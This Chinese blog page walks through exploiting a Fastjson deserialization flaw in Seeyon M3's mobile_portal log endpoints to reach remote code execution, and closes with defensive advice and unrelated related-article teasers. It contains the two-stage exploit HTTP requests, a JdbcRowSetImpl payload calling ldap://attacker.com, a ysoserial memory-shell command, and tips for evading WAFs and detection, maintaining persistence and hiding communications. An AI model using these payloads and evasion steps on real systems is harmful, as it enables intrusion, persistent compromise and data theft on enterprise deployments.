当前位置: 首页 > article >正文

从日志接口到RCE:一次对致远M3 mobile_portal接口的Fastjson漏洞深度利用分析

致远M3 mobile_portal接口Fastjson漏洞的深度利用与防御实践在当今企业级应用系统中中间件安全始终是攻防对抗的前沿阵地。致远M3作为广泛使用的企业协同办公平台其安全性直接关系到企业核心数据资产的保护。本文将从一个安全研究者的实战视角深入剖析该平台mobile_portal接口存在的Fastjson反序列化漏洞揭示攻击者如何通过精心构造的利用链实现远程代码执行(RCE)并分享针对此类漏洞的有效防御策略。1. 漏洞背景与影响范围分析致远M3 server是企业级协同办公解决方案的核心组件提供包括流程审批、文档管理等在内的多种功能模块。其mobile_portal接口本是为移动端提供数据服务的通道却因对用户输入数据的处理不当埋下了严重的安全隐患。受影响版本致远M3 server全系列版本截至漏洞披露时使用默认配置未打补丁的部署环境漏洞本质 该漏洞属于典型的二阶反序列化问题攻击者首先通过/mobile_portal/api/pns/message/send/batch/6_1sp1接口将恶意payload写入系统日志再通过/mobile_portal/api/systemLog/pns/loadLog/app.log接口触发日志内容的解析过程。由于系统使用存在安全缺陷的Fastjson版本处理日志数据导致反序列化漏洞被成功利用。关键发现漏洞利用过程中系统未对日志内容进行必要的安全过滤和校验使得攻击者能够注入精心构造的恶意序列化数据。2. 漏洞利用链的技术解析2.1 攻击路径拆解完整的攻击链包含两个关键阶段Payload注入阶段攻击目标/mobile_portal/api/pns/message/send/batch/6_1sp1注入方式通过userMessageId参数传递恶意JSON数据存储介质系统日志文件触发执行阶段攻击目标/mobile_portal/api/systemLog/pns/loadLog/app.log触发机制日志读取时的自动反序列化处理执行结果恶意代码在服务端上下文执行POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1 Host: target.com Content-Type: application/json [{ userMessageId:{\type\:\com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\,...}, channelId:111, title:111, content:222, deviceType:androidphone }]2.2 Fastjson反序列化机制剖析Fastjson在解析JSON数据时会通过type指定的类名实例化对应对象。攻击者正是利用这一特性通过精心选择的gadget chain实现代码执行核心GadgetCommonsBeanutils192NOCC利用BeanComparator的compare方法触发任意方法调用通过TemplatesImpl加载恶意字节码内存马注入TomcatCmdEcho动态注册Filter实现命令执行与回显绕过传统防护措施的无文件攻击方式// 典型的利用链构造示例概念性代码 String payload {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\ldap://attacker.com/Exploit\,\autoCommit\:true}; JSON.parse(payload); // 触发漏洞2.3 回显技术实现原理在实际渗透测试中命令执行结果的回显是关键难点。本漏洞利用中采用的TomcatCmdEcho技术通过以下方式实现回显线程组遍历获取当前Tomcat容器的线程上下文Request/Response劫持通过反射获取HTTP请求对象输出流控制将命令执行结果写入HTTP响应关键技术点对比技术指标传统Webshell内存马技术持久化方式文件写入内存驻留检测难度较易困难执行效率需要磁盘I/O纯内存操作对抗删除文件删除即失效服务重启才失效3. 实战化漏洞利用详解3.1 环境准备与工具配置必要工具集ysoserial生成反序列化payloadHex编辑器处理二进制payloadBurp Suite拦截和修改HTTP请求实验环境要求Java 8开发环境致远M3测试系统建议使用虚拟机隔离网络抓包工具Wireshark/tcpdump安全提示所有测试应在授权环境下进行避免对生产系统造成影响。3.2 Payload生成与优化使用ysoserial生成CB链payload时需特别注意版本兼容性问题java -jar ysoserial.jar CommonsBeanutils192NOCC CLASS:TomcatCmdEcho payload.bin关键参数调整选择与目标环境匹配的gadget链根据网络环境调整内存马的回连策略对生成的字节码进行混淆处理避免检测Payload优化技巧使用Hex编码绕过简单WAF检测分块传输编码(BTE)绕过内容长度检查添加垃圾数据干扰签名检测3.3 分阶段攻击实施第一阶段日志污染POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1 Host: vulnerable-host Content-Type: application/json Content-Length: 13458 [{userMessageId:{\type\:\com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\,\userOverridesAsString\:\HexAsciiSerializedMap:aced...\},channelId:111,title:111,content:222}]第二阶段触发执行GET /mobile_portal/api/systemLog/pns/loadLog/app.log?cmdwhoami HTTP/1.1 Host: vulnerable-host User-Agent: Mozilla/5.0 Accept: */* cmd: whoami结果验证检查HTTP响应中的命令输出验证内存马是否持久化驻留测试多命令执行能力4. 高级利用技巧与绕过手段4.1 现代防御体系的挑战随着安全防护技术的进步传统的攻击方法往往难以奏效。下面介绍几种针对企业级防护的绕过技术WAF绕过技术Unicode编码转换关键参数名注释符混淆JSON结构非常规HTTP方法试探内存马进化基于Servlet API 3.0的动态注册使用JNDI Reference工厂类Spring Controller内存马注入// 动态注册Filter的简化示例 FilterRegistration.Dynamic filter servletContext.addFilter(evilFilter, new MaliciousFilter()); filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, /*);4.2 权限维持技术一旦获得初始访问权限攻击者通常会采取以下方式维持控制持久化技术修改JSP自动加载目录注入JDBC驱动后门利用计划任务定期唤醒隐蔽通信DNS隧道传输数据HTTP头部隐藏命令图片隐写术封装payload检测对抗矩阵攻击技术检测方法缓解措施反序列化利用字节码特征分析输入验证类白名单内存马注入运行时行为监控完整性校验权限最小化隐蔽通信网络流量异常检测出口流量过滤协议白名单5. 企业级防御体系建设5.1 即时缓解措施对于已部署致远M3系统的企业建议立即采取以下措施临时解决方案# Nginx配置示例限制敏感接口访问 location ~ ^/mobile_portal/api/(pns/message/send|systemLog/pns) { deny all; }补丁管理及时关注厂商安全公告建立补丁测试验证流程制定紧急更新应急预案5.2 纵深防御策略构建全面的防御体系需要多层次的安全控制架构安全实施严格的网络分区部署Web应用防火墙(WAF)启用运行时应用自我保护(RASP)开发安全// 安全的Fastjson配置示例 ParserConfig config new ParserConfig(); config.setSafeMode(true); // 启用安全模式 JSON.parse(payload, config);运维安全定期进行安全配置审计实施最小权限原则建立完善的日志监控体系5.3 持续监测与响应有效的安全运营应包含以下关键环节异常检测监控异常的日志读取模式分析突发的进程创建行为追踪可疑的网络连接尝试事件响应制定详细的应急预案建立专业的安全团队定期进行红蓝对抗演练安全加固检查表示例检查项合规要求检测方法Fastjson版本安全使用≥1.2.83版本依赖扫描版本校验反序列化过滤配置启用safeMode或白名单代码审计配置检查接口访问控制敏感接口需认证授权渗透测试流量分析日志处理安全日志内容消毒处理代码审计输入测试在长期的安全运维实践中我们发现企业安全态势的改善往往始于对单个漏洞的深入理解和全面防护。致远M3的这个案例典型地展示了现代Web应用安全威胁的复杂性和多阶段性也印证了防御体系建设需要从开发、部署到运维的全生命周期安全考量。

相关文章:

从日志接口到RCE:一次对致远M3 mobile_portal接口的Fastjson漏洞深度利用分析

致远M3 mobile_portal接口Fastjson漏洞的深度利用与防御实践 在当今企业级应用系统中,中间件安全始终是攻防对抗的前沿阵地。致远M3作为广泛使用的企业协同办公平台,其安全性直接关系到企业核心数据资产的保护。本文将从一个安全研究者的实战视角&#…...

用Python的scikit-fuzzy库,手把手教你实现一个智能洗衣机模糊控制器

用Python的scikit-fuzzy库构建智能洗衣机模糊控制系统 第一次接触模糊逻辑时,我正为一个智能家居项目发愁——传统控制算法在衣物洗涤场景中总是表现僵硬。直到在某个开源项目中看到几行用scikit-fuzzy实现的代码,才意识到模糊控制才是解决这类不确定性问…...

告别僵硬动画!用3ds Max Skin修改器为Unity3d角色制作流畅骨骼动画的完整流程

告别僵硬动画!用3ds Max Skin修改器为Unity3D角色制作流畅骨骼动画的完整流程 在游戏开发中,角色动画的流畅度直接影响玩家的沉浸感体验。3ds Max作为业界领先的三维动画制作软件,其Skin修改器提供了强大的骨骼蒙皮功能,而Unity3D…...

告别Electron!用Vue3 + Web Serial API给你的网页加上硬件交互能力(保姆级教程)

用Vue3与Web Serial API构建轻量级硬件交互Web应用 想象一下,你正在开发一个需要与Arduino或传感器通信的项目。传统方案可能让你立即想到Electron——那个能让你用Web技术构建跨平台桌面应用的工具。但Electron带来的内存占用和分发复杂性是否让你犹豫?…...

3大核心技术揭秘:Photon-GAMS渲染引擎如何重塑虚拟世界视觉

3大核心技术揭秘:Photon-GAMS渲染引擎如何重塑虚拟世界视觉 【免费下载链接】Photon-GAMS Personal fork of Photon shaders 项目地址: https://gitcode.com/gh_mirrors/ph/Photon-GAMS 在数字创作的世界中,光影是赋予虚拟空间灵魂的魔法。Photon…...

终极Cake3分布式AI指南:5步搭建异构集群运行Llama3和Stable Diffusion

终极Cake3分布式AI指南:5步搭建异构集群运行Llama3和Stable Diffusion 【免费下载链接】cake Distributed inference for mobile, desktop and server. 项目地址: https://gitcode.com/gh_mirrors/cake3/cake Cake3是一个强大的分布式推理框架,支…...

Ai2Psd:如何实现AI到PSD的无损图层转换完整指南

Ai2Psd:如何实现AI到PSD的无损图层转换完整指南 【免费下载链接】ai-to-psd A script for prepare export of vector objects from Adobe Illustrator to Photoshop 项目地址: https://gitcode.com/gh_mirrors/ai/ai-to-psd 在专业设计工作流中,设…...

终极指南:如何用 Laravel Debugbar 快速定位 PHP 应用性能瓶颈

终极指南:如何用 Laravel Debugbar 快速定位 PHP 应用性能瓶颈 【免费下载链接】laravel-debugbar Debugbar for Laravel (Integrates PHP Debug Bar) 项目地址: https://gitcode.com/gh_mirrors/la/laravel-debugbar Laravel Debugbar 是一款专为 Laravel 框…...

【限时开源】一套经双11验证的Python电商风控决策代码(含特征实时计算、模型在线打分、熔断降级三件套)

更多请点击: https://intelliparadigm.com 第一章:【限时开源】一套经双11验证的Python电商风控决策代码(含特征实时计算、模型在线打分、熔断降级三件套) 这套风控决策系统已在某头部电商平台连续支撑三年双11大促,日…...

从B站模电课到亲手焊电路:一个电赛E题小白的踩坑与逆袭实录

从B站模电课到亲手焊电路:一个电赛E题小白的踩坑与逆袭实录 第一次接触电子设计竞赛时,我连三极管有三个引脚都分不清。看着队友们熟练地讨论"共射放大电路""交越失真",我只能默默打开B站搜索"模电入门"——没…...

sago工具库:零依赖模块化开发利器,提升工程效率与代码质量

1. 项目概述:一个被低估的“瑞士军刀”最近在整理自己的开发环境时,又翻出了duriantaco/sago这个项目。说实话,第一次看到这个仓库名时,我完全没把它当回事——一个以“龙舌兰酒”和“墨西哥卷饼”命名的工具,能有多正…...

基于 Taotoken 构建支持多模型切换的智能客服原型系统

基于 Taotoken 构建支持多模型切换的智能客服原型系统 1. 智能客服场景与多模型需求 在构建智能客服系统时,不同问题类型往往需要调用不同特性的语言模型。例如简单FAQ查询适合快速响应的小模型,复杂技术问题可能需要大上下文窗口的模型,而…...

VisualCppRedist AIO:3分钟彻底解决Windows软件运行错误的终极方案

VisualCppRedist AIO:3分钟彻底解决Windows软件运行错误的终极方案 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否遇到过这样的场景&#xff…...

打卡信奥刷题(3200)用C++实现信奥题 P8110 [Cnoi2021] 矩阵

P8110 [Cnoi2021] 矩阵 题目背景 Rumia 喜欢矩阵快速幂,而 Cirno 觉得这是平凡的。 为了说服 Rumia,Cirno 提出了这样一个问题。 题目描述 给定两个长度为 nnn 的序列 {an}\{a_n\}{an​},{bn}\{b_n\}{bn​} 与一个整数 kkk。 设矩阵 AA…...

从Enigma到TLS:聊聊密码学在真实网络世界里的‘隐身斗篷’

从Enigma到TLS:密码学如何塑造现代数字安全 当你每天在浏览器地址栏看到那个小小的锁形图标时,是否想过背后隐藏着怎样的数学魔法?从二战时期图灵破解的Enigma机,到今天保护我们在线支付的TLS协议,密码学的演进史就是一…...

碧蓝航线自动化脚本终极指南:5分钟实现24小时无缝委托与科研

碧蓝航线自动化脚本终极指南:5分钟实现24小时无缝委托与科研 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研,全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneAutoScript 碧蓝…...

Open UI5 源代码解析之1143:ValueHelpField.js

源代码仓库: https://github.com/SAP/openui5 源代码位置:src\sap.ui.commons\src\sap\ui\commons\ValueHelpField.js ValueHelpField.js 详细分析 文件定位 ValueHelpField.js 位于 sap.ui.commons 这个经典控件库之中。从模块命名可以看出,它定义的是 sap.ui.commons…...

物联网固件加密性能瓶颈诊断手册:从函数调用开销、内存对齐、分支预测失败到SIMD指令未使能——一份可立即执行的12步自检清单

更多请点击: https://intelliparadigm.com 第一章:C语言轻量级加密性能的底层约束本质 C语言实现的轻量级加密算法(如XOR、RC4、ChaCha8、SIMON或Speck)虽代码简洁,但其实际吞吐与延迟表现并非仅由算法复杂度决定&…...

CSP/信奥赛C++语法基础刷题训练(26):[NICA #2] 高考组题

CSP/信奥赛C++语法基础刷题训练(26):[NICA #2] 高考组题 题目描述 高考是能决定每个考生命运的考试,因此作为组卷人的 Aya 将高考组卷视为重中之重。现在 Aya 有 n n n 个备选的高考题。 对于每一道可能选入试卷的高考题,其有 k k k 个指标来评判它各个方面的维度,例…...

Fan Control终极指南:Windows风扇控制软件完美中文显示解决方案

Fan Control终极指南:Windows风扇控制软件完美中文显示解决方案 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Tr…...

用 X.509 Client Certificate 把 SAP NetWeaver 登录做成真正的无感 SSO

我最近在梳理一套老的 SAP NetWeaver AS ABAP 登录链路,前端是浏览器和 SAP Web Dispatcher,中间有 HTTPS,后端有 ICF 服务、SAP Gateway OData 服务,还有一些历史包袱很重的 Web Dynpro ABAP 页面。业务侧的要求很直接,用户已经在公司终端上拿到了个人证书,访问 SAP 时不…...

通过 OpenClaw 配置 Taotoken 作为 Agent 工作流后端的详细教程

通过 OpenClaw 配置 Taotoken 作为 Agent 工作流后端的详细教程 1. 准备工作 在开始配置之前,请确保已安装 OpenClaw CLI 工具。若尚未安装,可通过 npm 全局安装: npm install -g openclaw/cli同时,您需要拥有有效的 Taotoken …...

猫抓浏览器扩展终极指南:5分钟掌握网页资源嗅探神器

猫抓浏览器扩展终极指南:5分钟掌握网页资源嗅探神器 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾在浏览网页时遇到心仪的视…...

win10系统 cpu温度突然大幅升高

具体现象,在没有对电脑进行任何高压操作、新电脑、硅脂涂好、散热器撕膜、风扇曲线调整完毕的情况下:cpu温度(我这里是看fancontrol)偶现突然升高(50度->70度,但用手感受机箱内温度实际并不高&#xff0…...

E7Helper:第七史诗自动化助手,解放你的游戏时间

E7Helper:第七史诗自动化助手,解放你的游戏时间 【免费下载链接】e7Helper 【Epic Seven Auto Bot】第七史诗多功能覆盖脚本(刷书签🍃,挂讨伐、后记、祭坛✌️,挂JJC等📛,多服务器支持&#x1f…...

14.人工智能实战:RAG 文档更新后为什么还是回答旧答案?向量库增量更新、版本控制与数据一致性完整方案

人工智能实战:RAG 文档更新后为什么还是回答旧答案?向量库增量更新、版本控制与数据一致性完整方案一、问题场景:文档已经更新,AI 却还在回答旧制度 在企业知识库 RAG 系统上线后,最容易被忽略的问题不是“第一次能不能…...

数据中台搞不定?先看看你的指标字典是不是一团糟(附命名规范与维护SOP)

数据中台指标治理实战:从混乱字典到标准化SOP 每次数据复盘会上,市场部说的"活跃用户"是近7天登录用户,运营部却坚持要包含未登录但点击行为的用户,而财务部悄悄把付费用户也纳入了统计——这种场景在数据中台落地后的企…...

ElaWidgetTools对话框系统详解:ContentDialog、ColorDialog等高级用法

ElaWidgetTools对话框系统详解:ContentDialog、ColorDialog等高级用法 【免费下载链接】ElaWidgetTools Fluent-UI For QT-Widget 项目地址: https://gitcode.com/gh_mirrors/el/ElaWidgetTools ElaWidgetTools是一个基于QT-Widget的Fluent-UI组件库&#xf…...

信奥赛CSP-J复赛集训(DP专题)(24):出租车拼车

信奥赛CSP-J复赛集训(DP专题)(24):出租车拼车 题目背景 话说小 x 有一次去参加比赛,虽然学校离比赛地点不太远,但小 x 还是想坐出租车去。大学城的出租车总是比较另类,有“拼车”一说,也就是说,你一个人坐车去,还是一堆人一起,总共需要支付的钱是一样的(每辆出租…...

深入解析爬虫反反爬机制:如何突破反爬策略与反应速度

一、引言 随着互联网数据的迅猛增长,爬虫技术作为数据抓取的核心工具,已被广泛应用于各行各业。然而,随着爬虫技术的发展,许多网站已经开始针对爬虫采取各种反爬机制。为了保证数据的安全性与网站的正常运营,反爬策略日益复杂与严密,给爬虫开发者带来了巨大的挑战。 然…...